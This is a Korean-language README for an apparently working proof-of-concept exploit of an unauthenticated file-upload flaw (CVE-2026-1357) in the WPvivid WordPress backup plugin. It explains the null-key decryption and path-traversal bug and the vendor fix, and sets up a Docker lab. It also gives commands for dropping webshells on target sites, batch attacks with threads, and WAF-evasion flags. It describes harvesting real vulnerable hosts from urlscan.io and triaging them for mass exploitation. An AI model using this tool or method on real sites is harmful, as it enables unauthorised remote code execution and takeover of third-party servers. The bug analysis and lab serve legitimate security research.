
CVE-2026-1357에 대한 개념 증명 익스플로잇으로, WPvivid Backup & Migration의 인증되지 않은 임의 파일 업로드 취약점으로 인해 원격 코드 실행이 발생합니다. 독립형 Python 스크립트, WAF 우회 기법, 그리고 권한 부여를 위한 Docker 기반 취약 실습 환경이 포함되어 있습니다.
CVE-2026-1357(CVSS 9.8 Critical, CWE-434)에 대한 PoC: WordPress용 WPvivid Backup & Migration 플러그인의 인증되지 않은 임의 파일 업로드로 원격 코드 실행으로 이어집니다. 0.9.124(변경 세트 3448386)에서 수정되었습니다. Wordfence 버그 바운티 프로그램을 통해 Lucas Montes가 보고했습니다.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
이 개념 증명은 승인된 보안 연구, 교육 및 방어적 테스트 목적으로만 제공됩니다.
인증되지 않은 send_to_site 핸들러
(includes/customclass/class-wpvivid-send-to-site.php)는 공격자가 제공한 blob을 복호화하고 $params['data']의 내용을
wp-content/wpvividbackups/<공격자가 제어하는 이름>에 씁니다 — 인증, nonce, name에 대한 경로 검증이 전혀 없습니다.
의도된 보호는 RSA입니다: 메시지는 사이트의 키로 RSA 암호화된 임의의 세션 키로 암호화되어야 합니다. 결함은
WPvivid_crypt::decrypt_message(includes/class-wpvivid-crypt.php)에 있습니다:
$key = $rsa->decrypt($key); // 실패 시 FALSE 반환 (잘못된 키 blob)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE는 null 바이트 키로 처리됨
return $rij->decrypt($data);
phpseclib의 Crypt_RSA::decrypt()는 제공된 키 blob을 복호화할 수 없을 때(예: openssl_private_decrypt() 실패) false를 반환하며, 플러그인은 중단하지 않습니다. false는 Crypt_Rijndael::setKey()에 전달되어 strlen(false) → 0 → 키가 16개의 null 바이트(AES-128, CBC 모드, null IV)로 패딩됩니다. 따라서 공격자는 완전히 예측 가능한 null 키로 페이로드를 "암호화"합니다 — 실제 사이트 키에 대한 지식이 필요 없습니다.
페이로드는 JSON입니다:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name은 검증 없이 경로에 연결됩니다
(str_replace('wpvivid','wpvivid_temp', $name)는 "wpvivid" 하위 문자열만 다시 씁니다), 따라서 ../../는 wp-content/wpvividbackups/를 벗어나
웹 루트로 이동합니다. file_size/md5가 일치하면 임시 파일이 공격자가 선택한 이름으로 이름이 변경됩니다 → 공개적으로 접근 가능한 PHP → RCE.
수정(변경 세트 3448386)은 RSA 단계가 실패하면 중단합니다:
if ($key === false || empty($key)) {
return false;
}
대상:
wpvivid_api_token 옵션이 존재하고 만료되지 않아야 함 — 관리자가 WPvivid → 설정 → 자동 마이그레이션에서 생성을 클릭할 때마다 생성됨(마이그레이션 기능을 사용하는 사이트에서 일반적)공격자:
script.py는 완전히 독립적입니다: 표준 라이브러리만, 로컬 임포트 없음, 외부 파일 없음. 간단한 위치 기반 CLI:
# 단일 대상
python script.py https://target.example.com
# 사용자 지정 명령
python script.py https://target.example.com --command "uname -a"
# 배치 모드(줄당 하나의 URL) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF 우회: 퍼센트 인코딩된 매개변수 이름/값 또는 multipart 본문
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# 테스트 후 웹셸 자체 삭제
python script.py https://target.example.com --cleanup
종료 코드: 0 취약함, 그 외 1.
../lab/에는 도커화된 취약한 대상(WordPress 6.8 + plugins/의 WPvivid 0.9.123 소스)이 포함되어 있습니다:
cd ../lab
docker compose up -d
# http://localhost:8090/에서 WordPress 설치 완료
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
검증된 작동 소스(계정 없이 라이브 테스트 완료):
https://urlscan.io/search/#filename:wpvivid-backuprestore
플러그인 슬러그를 참조하는 약 74개의 인덱스된 페이지; 클릭하여 호스트 이름을 수집합니다. 모든 결과 URL은 플러그인 경로로 시작하므로
(/wp-content/plugins/wpvivid-backuprestore/), 호스트 추출이 쉽습니다.테스트했지만 대상을 산출하지 못한 쿼리(의도적으로 제외됨):
Google/Bing dorks(inurl:은 플러그인의 자체 wordpress.org 페이지 또는 봇 벽만 반환), DuckDuckGo(동일), Shodan http.html:(잘린 HTML 인덱스, 0건), Wayback CDX 와일드카드(비어 있음), PublicWWW(게스트 스크래핑 차단됨).
수집된 호스트를 triage에 공급합니다(script.py에 --triage로 내장됨), 각 사이트에 대해 확인:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123(인증 없는 저소음 확인; HTML의 ?ver= 자산 쿼리 문자열은
대체 수단)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON 응답(The key is invalid.) = wpvivid_api_token 존재;
비어 있음 = 토큰 없음 / 플러그인 비활성 / WAF가 프로브 차단<= 0.9.123 이고 토큰이 활성인 사이트만
in-scope.txt에 기록된 후:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
실전에서 계속 작동한 오래된 2025 업로더(동일 작성자)에서 이식된 기술:
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, 동일 출처 Referer, 브라우저 UAReferer를 전달--threads N)success.txt / failed.txt 기록, 검증된 셸만 성공으로 기록(원본의 success 파일과 동일)--encode / --multipart../lab/waf/는 취약한 WordPress 앞에 owasp/modsecurity-crs:apache 리버스 프록시를 추가합니다(WAF는 :8092, 원시 대상은 :8093). 측정된 동작:
| 단계 | CRS 통과 결과 |
|---|---|
| 업로드 POST(일반) | 통과 — AES blob + AJAX 헤더가 CRS 규칙과 일치하지 않음 |
업로드 POST(--encode) | 통과 |
업로드 POST(--multipart) | 통과 |
셸 GET ?<p>=id / hostname / ls | 통과, 명령 실행됨 |
셸 GET ?<p>=id; hostname; uname -a | 403 — CRS 932xxx 명령 주입 규칙 |
| 일반 GET(PWN-OK 마커) | 통과 |
암호화된 업로드는 CRS 콘텐츠 검사에 보이지 않습니다(2025 업로더의 허용 목록처럼 보이는 AJAX와 동일한 생존 속성). 유일한 CRS 표면은 후속 명령 GET이므로, 도구는 이제 기본적으로 --command id를 사용하고 명령 GET이 WAF에 필터링되어도 일반 GET PWN-OK 마커를 통해 RCE를 확인합니다(vulnerable로 메모와 함께 보고). wpvivid_action=send_to_site를 서명하는 호스트 내 WAF(예: Wordfence 가상 패치)는 여전히 플러그인 수준에서 업로드 자체를 차단합니다 — 어떤 요청 형태 트릭도 이를 우회할 수 없습니다.